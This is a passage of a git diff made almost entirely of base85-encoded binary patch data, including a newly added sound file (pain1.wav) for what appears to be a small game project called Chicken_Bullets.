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 O5)kK8gl~k&!v6t{lBP=l literal 0 HcmV?d00001 diff --git a/Repos/Chicken_Bullets-master/sound/chicken/pain1.wav b/Repos/Chicken_Bullets-master/sound/chicken/pain1.wav new file mode 100644 index 0000000000000000000000000000000000000000..86130584b4b3ce1394afd6dada30edd616c322f4 GIT binary patch literal 29694 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 